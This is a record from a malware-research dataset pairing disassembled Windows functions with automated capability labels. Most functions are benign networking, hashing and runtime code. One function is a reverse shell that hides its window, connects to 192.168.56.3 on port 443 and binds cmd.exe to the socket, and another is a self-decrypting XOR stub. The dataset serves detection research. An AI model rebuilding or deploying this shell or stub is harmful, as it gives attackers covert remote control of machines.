joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400a37c0
Capabilities:
Send data
Send data on socket

Disassembly:
cmp edx, 0x1f
jne 0x1400a3968
push rbp
push rdi
push r14
sub rsp, 0x20
mov rbp, qword [rcx]
mov r14, rcx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x58], r15
mov rdi, qword [rbp + 0x1e0]
lea rsi, [rdi + 0x1cb8]
lea rbx, [rdi + 0x1eb8]
mov qword [rbx], rsi
cmp rsi, rbx
jae 0x1400a3825
lea rax, [rsi + 1]
mov byte [rsi], 0xff
mov qword [rbx], rax
cmp rax, rbx
jae 0x1400a3825
mov byte [rax], 0xfa
inc qword [rbx]
mov rax, qword [rbx]
cmp rax, rbx
jae 0x1400a3825
mov byte [rax], dl
inc qword [rbx]
movzx ecx, word [rdi + 0x1ca8]
call qword [sym.imp.WS2_32.dll_htons]
movzx ecx, word [rdi + 0x1caa]
movzx r15d, ax
mov word [rsp + 0x48], ax
call qword [sym.imp.WS2_32.dll_htons]
mov r9, qword [rbx]
movzx ecx, ax
cmp r9, rbx
jae 0x1400a385c
mov byte [r9], r15b
inc qword [rbx]
mov r9, qword [rbx]
mov r15, qword [rsp + 0x58]
cmp r9, rbx
jae 0x1400a38b2
movzx eax, byte [rsp + 0x49]
mov byte [r9], al
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400a38b2
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400a38b2
shr cx, 8
mov byte [r9], cl
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400a38b2
mov byte [r9], 0xff
inc qword [rbx]
mov r9, qword [rbx]
cmp r9, rbx
jae 0x1400a38b2
mov byte [r9], 0xf0
mov r9, qword [rbx]
inc r9
mov qword [rdi + 0x1ec0], r9
lea r8, [rdi + 0x1cba]
sub r9, rsi
mov qword [rbx], rsi
sub r9, 2
mov edx, 0x3e
mov rcx, rbp
call fcn.1400a3270
mov rcx, qword [r14 + 0x4c0]
xor r9d, r9d
mov rdx, rsi
lea r8d, [r9 + 3]
call qword [sym.imp.WS2_32.dll_send]
mov rsi, qword [rsp + 0x50]
mov rbx, qword [rsp + 0x40]
test eax, eax
jns 0x1400a3914
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.14007f620
lea rdx, [rdi + 0x1cbb]
mov r8d, 4
mov rcx, r14
call fcn.1400a3640
mov rcx, qword [r14 + 0x4c0]
lea rdx, [rdi + 0x1cbf]
xor r9d, r9d
lea r8d, [r9 + 2]
call qword [sym.imp.WS2_32.dll_send]
test eax, eax
jns 0x1400a3960
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.Sending_data_failed___d_
mov rcx, rbp
mov r8d, eax
call fcn.14007f620
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
Function at 0x1400a50d0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
push rdi
push r14
sub rsp, 0xd0
mov rax, qword [0x1401a2200]
xor rax, rsp
mov qword [rsp + 0xc0], rax
mov rbx, qword [rcx + 0xa00]
lea rax, [rsp + 0x30]
mov rdi, qword [rcx]
mov r14, rcx
mov dword [rsp + 0x30], 0x80
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov r8d, dword [rbx + 0x15c]
mov rdx, qword [rbx + 0x168]
add r8d, 4
mov rcx, qword [rbx + 0x18]
mov qword [rsp + 0x20], rax
call qword [sym.imp.WS2_32.dll_recvfrom]
cmp dword [rbx + 0x150], 0
mov dword [rbx + 0x154], eax
jne 0x1400a5165
movsxd r8, dword [rsp + 0x30]
lea rcx, [rbx + 0xd0]
lea rdx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memcpy
mov eax, dword [rsp + 0x30]
mov dword [rbx + 0x150], eax
mov r8d, dword [rbx + 0x154]
mov qword [rsp + 0xf8], rbp
mov qword [rsp + 0x100], rsi
cmp r8d, 4
jge 0x1400a51c6
lea rdx, str.Received_too_short_packet
mov rcx, rdi
call fcn.14007f620
mov dword [rbx + 0xc], 7
xor eax, eax
mov rsi, qword [rsp + 0x100]
mov rbp, qword [rsp + 0xf8]
mov rcx, qword [rsp + 0xc0]
xor rcx, rsp
call fcn.1400b8420
add rsp, 0xd0
pop r14
pop rdi
pop rbx
ret
mov rdx, qword [rbx + 0x168]
movzx eax, byte [rdx]
movzx ecx, byte [rdx + 1]
shl eax, 8
or ecx, eax
mov dword [rbx + 0xc], ecx
sub ecx, 3
je 0x1400a5281
sub ecx, 1
je 0x1400a52f4
sub ecx, 1
je 0x1400a5230
cmp ecx, 1
je 0x1400a5213
lea r8, str.Internal_error:_Unexpected_packet
mov rcx, rdi
lea rdx, [0x1400bdb1c]
call fcn.14007f620
jmp 0x1400a52f4
add r8d, 0xfffffffe
add rdx, 2
mov rcx, rbx
call fcn.1400a4e00
test eax, eax
je 0x1400a52f4
jmp 0x1400a519a
movzx ecx, byte [rdx + 2]
lea eax, [r8 - 4]
movsxd rbp, eax
lea rsi, [rdx + 4]
movzx eax, byte [rdx + 3]
mov r8, rbp
shl ecx, 8
xor edx, edx
or ecx, eax
mov dword [rbx + 8], ecx
mov rcx, rsi
call sub.VCRUNTIME140.dll_memchr
test rax, rax
je 0x1400a52f4
sub rax, rsi
cmp rax, rbp
jae 0x1400a52f4
mov r8, rsi
lea rdx, str.TFTP_error:__s_n
mov rcx, rdi
call fcn.14007f7a0
jmp 0x1400a52f4
cmp r8d, 4
jle 0x1400a52f4
movzx eax, byte [rdx + 3]
movzx ecx, byte [rdx + 2]
shl ecx, 8
or ecx, eax
movzx eax, word [rbx + 0x48]
inc eax
movzx eax, ax
cmp eax, ecx
jne 0x1400a52f4
lea eax, [r8 - 4]
mov rcx, r14
lea r8, [rdx + 4]
movsxd r9, eax
mov edx, 1
call fcn.14007f540
mov esi, eax
test eax, eax
je 0x1400a52d3
mov edx, 5
mov rcx, rbx
call fcn.1400a5dc0
mov eax, esi
jmp 0x1400a519a
mov eax, dword [rbx + 0x154]
mov rcx, rdi
sub eax, 4
cdqe
add qword [rdi + 0xf8], rax
mov rdx, qword [rdi + 0xf8]
call fcn.14008e020
mov rcx, r14
call fcn.14008e300
test eax, eax
je 0x1400a5198
mov edx, 5
mov rcx, rbx
call fcn.1400a5dc0
mov eax, Ordinal_45
jmp 0x1400a519a
Function at 0x1400b8090
Capabilities:
Authenticate hmac
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r14
sub rsp, 0x20
mov eax, dword [rcx + 0x18]
mov rbx, rcx
mov ebp, r8d
mov r14, rdx
lea ecx, [rax + rax]
mov eax, dword [rbx + 0x20]
add rax, 0x18
add rcx, rax
call qword [sub.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rdi, rax
test rax, rax
jne 0x1400b80d2
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret
lea rcx, [rax + 0x18]
mov qword [rax], rbx
mov qword [rax + 8], rcx
mov eax, dword [rbx + 0x18]
add rax, rcx
mov qword [rsp + 0x48], rsi
mov qword [rdi + 0x10], rax
cmp ebp, dword [rbx + 0x1c]
jbe 0x1400b8119
call qword [rbx]
mov rcx, qword [rdi + 8]
mov r8d, ebp
mov rdx, r14
call qword [rbx + reloc.WS2_32.dll_htonl]
mov r14d, dword [rbx + 0x18]
add r14, qword [rdi + 0x10]
mov rdx, qword [rdi + 8]
mov rcx, r14
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rdi + 8]
mov ebp, dword [rbx + 0x20]
call qword [rbx]
mov rcx, qword [rdi + 0x10]
call qword [rbx]
xor esi, esi
test rbp, rbp
je 0x1400b8172
mov rsi, rbp
nop dword [rax + rax]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x36
mov r8d, 1
mov byte [rsp + 0x40], al
mov rcx, qword [rdi + 8]
call qword [rbx + reloc.WS2_32.dll_htonl]
movzx eax, byte [r14]
lea rdx, [rsp + 0x40]
xor al, 0x5c
lea r14, [r14 + 1]
mov byte [rsp + 0x40], al
mov r8d, 1
mov rcx, qword [rdi + 0x10]
call qword [rbx + reloc.WS2_32.dll_htonl]
sub rbp, 1
jne 0x1400b8130
mov eax, dword [rbx + 0x1c]
cmp rsi, rax
jae 0x1400b81b3
nop word [rax + rax]
mov rcx, qword [rdi + 8]
lea rdx, [0x1400f591b]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rcx, qword [rdi + 0x10]
lea rdx, [0x1400f591c]
mov r8d, 1
call qword [rbx + reloc.WS2_32.dll_htonl]
mov eax, dword [rbx + 0x1c]
inc rsi
cmp rsi, rax
jb 0x1400b8180
mov rsi, qword [rsp + 0x48]
mov rax, rdi
mov rbx, qword [rsp + 0x50]
add rsp, 0x20
pop r14
pop rdi
pop rbp
ret

Function at 0x1400b92e8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400b9332
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400b9332
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400b9332
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400b9332
cmp dword [rcx + 0x84], 0xe
jbe 0x1400b9332
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400b9334
xor al, al
add rsp, 0x28
ret
Function at 0x180016c50
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push rbx
sub rsp, 0x40
mov rax, qword [rdx]
mov rbx, rcx
movabs rcx, 0x100000001b3
movabs r8, 0xcbf29ce484222325
mov r9, qword [rax + 0x28]
nop dword [rax]
nop dword [rax + rax]
movsx rdx, byte [r9]
lea r9, [r9 + 1]
xor r8, rdx
imul r8, rcx
test dl, dl
jne 0x180016c80
mov rcx, qword [0x18006fc38]
mov rax, qword [0x18006fc40]
mov qword [rsp + 0x50], r8
cmp rcx, rax
je 0x180016ce0
nop dword [rax + rax]
cmp qword [rcx], r8
jne 0x180016cbb
cmp qword [rcx + 8], rbx
je 0x180016cc4
add rcx, 0x18
cmp rcx, rax
jne 0x180016cb0
cmp rcx, rax
je 0x180016ce0
lea rdx, [rcx + 0x18]
sub rax, rdx
mov r8, rax
call sub.VCRUNTIME140.dll_memmove
sub qword [0x18006fc40], 0x18
lea rdx, [rsp + 0x50]
lea rcx, [0x18006fc50]
call fcn.1800179a0
mov rcx, qword [rax + 8]
cmp qword [rax], rcx
je 0x180016d61
mov rax, qword [rsp + 0x50]
xor ecx, ecx
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rbx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rdx, qword [0x18006fc40]
cmp rdx, qword [0x18006fc48]
movss xmm0, dword [rax + 0x19639e8]
movss dword [rsp + 0x30], xmm0
je 0x180016d50
movups xmm0, xmmword [rsp + 0x20]
movsd xmm1, qword [rsp + 0x30]
movups xmmword [rdx], xmm0
movsd qword [rdx + 0x10], xmm1
add qword [0x18006fc40], 0x18
add rsp, 0x40
pop rbx
ret
lea r8, [rsp + 0x20]
lea rcx, [0x18006fc38]
call fcn.180017c70
add rsp, 0x40
pop rbx
ret
Function at 0x180050be0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
mov rax, qword [rcx + 0x140]
mov rdi, rcx
mov esi, r8d
mov rbx, rdx
movabs rcx, 0x100000001b3
movabs r10, 0xcbf29ce484222325
mov r11, qword [rax + 0x28]
nop word [rax + rax]
movsx r9, byte [r11]
lea r11, [r11 + 1]
xor r10, r9
imul r10, rcx
test r9b, r9b
jne 0x180050c20
lea rdx, [rsp + 0x50]
mov qword [rsp + 0x50], r10
lea rcx, [0x18006fc50]
call fcn.1800179a0
mov rdx, qword [rax + 8]
cmp qword [rax], rdx
je 0x180050d24
movaps xmmword [rsp + 0x30], xmm6
lea rdx, [rsp + 0x50]
lea rcx, [0x18006fc50]
movaps xmmword [rsp + 0x20], xmm7
call fcn.1800179a0
movsxd rcx, dword [rdi + 0x28]
mov rax, qword [rax]
movss xmm7, dword [rax + rcx*4 - 4]
lea eax, [rsi - 4]
cmp eax, 1
jbe 0x180050c91
movss xmm6, dword [rbx + 0x1cf8]
jmp 0x180050ce8
xor ecx, ecx
lea rax, [rbx + 0x52b8]
nop word [rax + rax]
cmp dword [rax], 0x209b
je 0x180050cbd
inc rcx
add rax, 4
cmp rcx, 6
jl 0x180050ca0
movss xmm6, dword [rsp + 0x50]
jmp 0x180050ccb
movss xmm6, dword [rsp + 0x50]
addss xmm6, dword [0x180064a14]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, qword [rax + 0x19569c0]
cmp dword [rcx + 8], 0xc
jne 0x180050ce8
addss xmm6, dword [0x180064a44]
xorps xmm1, xmm1
comiss xmm6, xmm1
jbe 0x180050d07
movaps xmm1, xmm6
addss xmm1, dword [0x180064a54]
divss xmm6, xmm1
mulss xmm6, xmm7
subss xmm7, xmm6
movaps xmm6, xmmword [rsp + 0x30]
movaps xmm0, xmm7
movaps xmm7, xmmword [rsp + 0x20]
mov rbx, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
mov rbx, qword [rsp + 0x58]
xorps xmm0, xmm0
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret

Function at 0x180050d40
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
mov rax, qword [rcx + 0x140]
mov rdi, rcx
mov esi, r8d
mov rbx, rdx
movabs rcx, 0x100000001b3
movabs r10, 0xcbf29ce484222325
mov r11, qword [rax + 0x28]
nop word [rax + rax]
movsx r9, byte [r11]
lea r11, [r11 + 1]
xor r10, r9
imul r10, rcx
test r9b, r9b
jne 0x180050d80
mov rax, qword [0x18006fc38]
mov rcx, qword [0x18006fc40]
movaps xmmword [rsp + 0x20], xmm7
cmp rax, rcx
je 0x180050dc4
nop dword [rax]
cmp qword [rax + 8], rbx
jne 0x180050dbb
cmp qword [rax], r10
je 0x180050ddc
add rax, 0x18
cmp rax, rcx
jne 0x180050db0
xorps xmm0, xmm0
movaps xmm7, xmmword [rsp + 0x20]
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
movss xmm7, dword [rax + 0x10]
ucomiss xmm7, dword [0x180064abc]
jp 0x180050dec
je 0x180050dc4
xor ecx, ecx
movaps xmmword [rsp + 0x30], xmm6
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov r8d, esi
mov rdx, rbx
mov rcx, rdi
movss xmm6, dword [rax + 0x19639e8]
call fcn.180050be0
addss xmm0, xmm7
xorps xmm1, xmm1
subss xmm0, xmm6
movaps xmm6, xmmword [rsp + 0x30]
maxss xmm0, xmm1
jmp 0x180050dc7
Function at 0x180056140
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push rbx
sub rsp, 0x20
mov r10, rdx
mov r9, rcx
lea rbx, [rcx + 0x41c8]
cmp byte [rcx + 0x149c], 0
jne 0x1800561a8
mov word [rcx + 0x149d], 1
rdtsc
shl rdx, 0x20
or rax, rdx
mov qword [rsp + 0x30], rax
mov byte [rcx + 0x14a0], al
movzx eax, byte [rsp + 0x31]
mov byte [rcx + 0x14a1], al
movzx eax, byte [rsp + 0x32]
mov byte [rcx + 0x14a2], al
movzx eax, byte [rsp + 0x33]
mov byte [rcx + 0x14a3], al
mov byte [rcx + 0x14a4], 0
mov byte [rcx + 0x149c], 1
mov dword [rsp + 0x40], r8d
mov eax, dword [rcx + 0x14a0]
mov dword [rsp + 0x30], eax
movzx eax, byte [rcx + 0x149d]
test al, al
je 0x1800561e4
xor ecx, ecx
mov edx, eax
nop word [rax + rax]
mov eax, dword [rsp + rcx + 0x30]
not eax
xor dword [rsp + rcx + 0x40], eax
lea rcx, [rcx + 4]
sub rdx, 1
jne 0x1800561d0
movzx eax, byte [r9 + 0x149e]
mov ecx, 4
sub rcx, rax
cmp rcx, 4
jae 0x180056214
nop word [rax + rax]
movzx eax, byte [rsp + rcx + 0x30]
not al
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 4
jb 0x180056200
movzx eax, byte [r9 + 0x14a4]
inc al
and eax, 3
mov ecx, eax
mov eax, dword [rsp + 0x40]
mov dword [r9 + rcx*4 + 0x14a8], eax
mov byte [r9 + 0x14a4], cl
mov dword [rbx + 0x38], r8d
mov r9, qword [rbx + 0x18]
movabs rdx, 0xcbf29ce484222325
movabs r11, 0x100000001b3
nop dword [rax]
nop word [rax + rax]
movsx rcx, byte [r9]
lea r9, [r9 + 1]
xor rdx, rcx
imul rdx, r11
test cl, cl
jne 0x180056260
movabs rax, 0x2374c594f5e76f06
cmp rdx, rax
jne 0x18005629a
lea eax, [r8 - 0x1d]
cmp eax, 7
ja 0x18005630f
mov byte [rbx + 0x9c], cl
jmp 0x180056342
movabs rax, 0xf9bdf861cccd5fd1
cmp rdx, rax
jne 0x1800562be
lea eax, [r8 - 0x1a]
cmp eax, 6
ja 0x18005630f
mov byte [rbx + 0x9c], 0
jmp 0x180056342
movabs rax, 0xb4d052affec8dc8e
cmp rdx, rax
jne 0x1800562d3
cmp r8d, 0x10
jmp 0x1800562e6
movabs rax, 0x311a797a90e58f21
cmp rdx, rax
jne 0x1800562f1
cmp r8d, 6
jne 0x18005630f
mov byte [rbx + 0x9c], 0
jmp 0x180056342
movabs rcx, 0x2f2959b508f215d2
movabs rax, 0xecc3c7c77aebb7ea
cmp rdx, rcx
je 0x180056330
cmp rdx, rax
je 0x180056330
cmp byte [rbx + 0x9c], 0xff
je 0x180056342
movabs rax, 0xeb5bc0df5355fba6
cmp rdx, rax
je 0x180056342
mov byte [rbx + 0x9c], 0xff
jmp 0x180056342
cmp r8d, 7
jne 0x18005635e
cmp rdx, rcx
je 0x180056369
mov rax, qword [rbx]
mov qword [rbx + 8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
add rax, 0x1a41a0
mov dl, 1
mov rcx, rbx
call rax
nop
add rsp, 0x20
pop rbx
ret
cmp r8d, 6
jne 0x18005633b
cmp rdx, rax
jne 0x18005633b
mov rax, qword [rbx]
mov qword [rbx + 8], rax
mov rdx, r10
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp fcn.18004a720
Function at 0x14000149c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
xor esi, esi
mov rbx, rdx
call fcn.140001450
mov rcx, rbx
mov r12d, eax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
movsxd rax, dword [rax + 0x3c]
mov edi, dword [rax + rbx + 0x88]
add rdi, rbx
mov ebp, dword [rdi + 0x20]
mov r13d, dword [rdi + 0x14]
add rbp, rbx
cmp esi, r13d
jae 0x140001519
mov ecx, dword [rbp]
add rbp, 4
add rcx, rbx
call fcn.140001450
mov edx, eax
lea rax, [rsi + 1]
cmp r12d, edx
jne 0x140001514
mov edx, dword [rdi + 0x24]
add rsi, rsi
mov eax, dword [rdi + 0x1c]
add rsi, rbx
movzx edx, word [rsi + rdx]
lea rdx, [rbx + rdx*4]
mov eax, dword [rdx + rax]
add rax, rbx
jmp 0x14000151b
mov rsi, rax
jmp 0x1400014d9
xor eax, eax
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
ret

Function at 0x140001800
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.140002670
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.140002670
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]
Function at 0x140001870
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140007164]
mov rbx, rcx
test esi, esi
jle 0x1400019a0
mov rax, qword [0x140007168]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x1400018bb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001945
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x1400018a0
mov rcx, rbx
call fcn.1400022e0
mov rdi, rax
test rax, rax
je 0x1400019c2
mov rax, qword [0x140007168]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.140002420
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140007168]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400019a7
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x14000193e
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140001950
add dword [0x140007164], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x140007168]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000193e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001800
nop dword [rax]
xor esi, esi
jmp 0x1400018c8
mov rax, qword [0x140007168]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140001800
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140001800
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140001f50
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x1400071c0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400071a0]
test rbx, rbx
je 0x140001fac
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x140001fa3
test eax, eax
jne 0x140001fa3
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140001f88
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400022e0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400044d0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002300
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002308
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002300
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000235d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002354
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002300
add rax, 0x28
cmp rax, r9
jne 0x140002340
xor eax, eax
ret

Function at 0x140002360
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400044d0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000237f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002388
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000237f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002420
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400044d0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000243f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002448
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x1400027a0
Capabilities:
Connect socket

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x3a0
call fcn.1400015f0
xor edx, edx
lea rcx, str.ConsoleWindowClass
lea rdi, [rsp + 0x119]
call qword [0x1400070a8]
xor edx, edx
lea rsi, [rsp + 0x80]
mov rcx, rax
call qword [0x1400070a0]
mov ecx, 0xef
mov edx, 0x332e3635
movabs rax, 0x2e3836312e323931
mov qword [rsp + 0x80], rax
xor eax, eax
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], rax
movabs rax, 0x6578652e646d63
mov qword [rsp + 0x109], rax
xor eax, eax
rep stosb byte [rdi], al
mov qword [rsp + 0x88], rdx
xor edx, edx
mov ecx, 0x202
mov qword [rsp + 0x111], rdx
lea rdx, [rsp + 0x208]
call qword [0x1400070d8]
xor edx, edx
xor r9d, r9d
mov r8d, 6
mov dword [rsp + 0x28], edx
mov ecx, 2
mov dword [rsp + 0x20], edx
mov edx, 1
call qword [0x140007098]
mov ecx, 0x1bb
mov rbx, rax
call qword [0x1400070c0]
mov rcx, rsi
mov word [rsp + 0x58], 2
mov word [rsp + 0x5a], ax
call qword [0x140007090]
mov rax, qword [rax + 0x18]
mov rax, qword [rax]
mov ecx, dword [rax]
call qword [0x140007088]
mov edx, 0x10
mov rcx, rsi
mov r8, rax
call qword [sym.imp.msvcrt.dll_strcpy_s]
mov rcx, rsi
lea rsi, [rsp + 0xa0]
call qword [0x1400070b0]
xor edx, edx
mov rcx, rsi
mov r8d, 0x68
mov dword [rsp + 0x5c], eax
call qword [0x140007080]
lea rdx, [rsp + 0x58]
mov rcx, rbx
mov dword [rsp + 0xa0], 0x68
mov qword [rsp + 0x100], rbx
mov r8d, 0x10
mov dword [rsp + 0xdc], 0x101
mov qword [rsp + 0xf8], rbx
mov qword [rsp + 0xf0], rbx
call qword [sym.imp.WS2_32.dll_connect]
xor ecx, ecx
lea rax, [rsp + 0x68]
xor r8d, r8d
mov qword [rsp + 0x38], rcx
lea rdx, [rsp + 0x109]
xor r9d, r9d
mov qword [rsp + 0x30], rcx
xor ecx, ecx
mov dword [rsp + 0x28], r8d
xor r8d, r8d
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rsi
mov dword [rsp + 0x20], 1
call qword [0x140007070]
xor eax, eax
add rsp, 0x3a0
pop rbx
pop rsi
pop rdi
ret
Function at 0x140004000
Capabilities:
Encode data using xor

Disassembly:
movabs rcx, 0x62e3f4a9311c9b1a
movabs rdx, 0x1000
movabs r8, 0x3d90
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x10]
add rdx, rax
add r8, rax
mov r9, rdx
xor qword [rdx], rcx
add rdx, 8
cmp rdx, r8
jb 0x140004034
jmp r9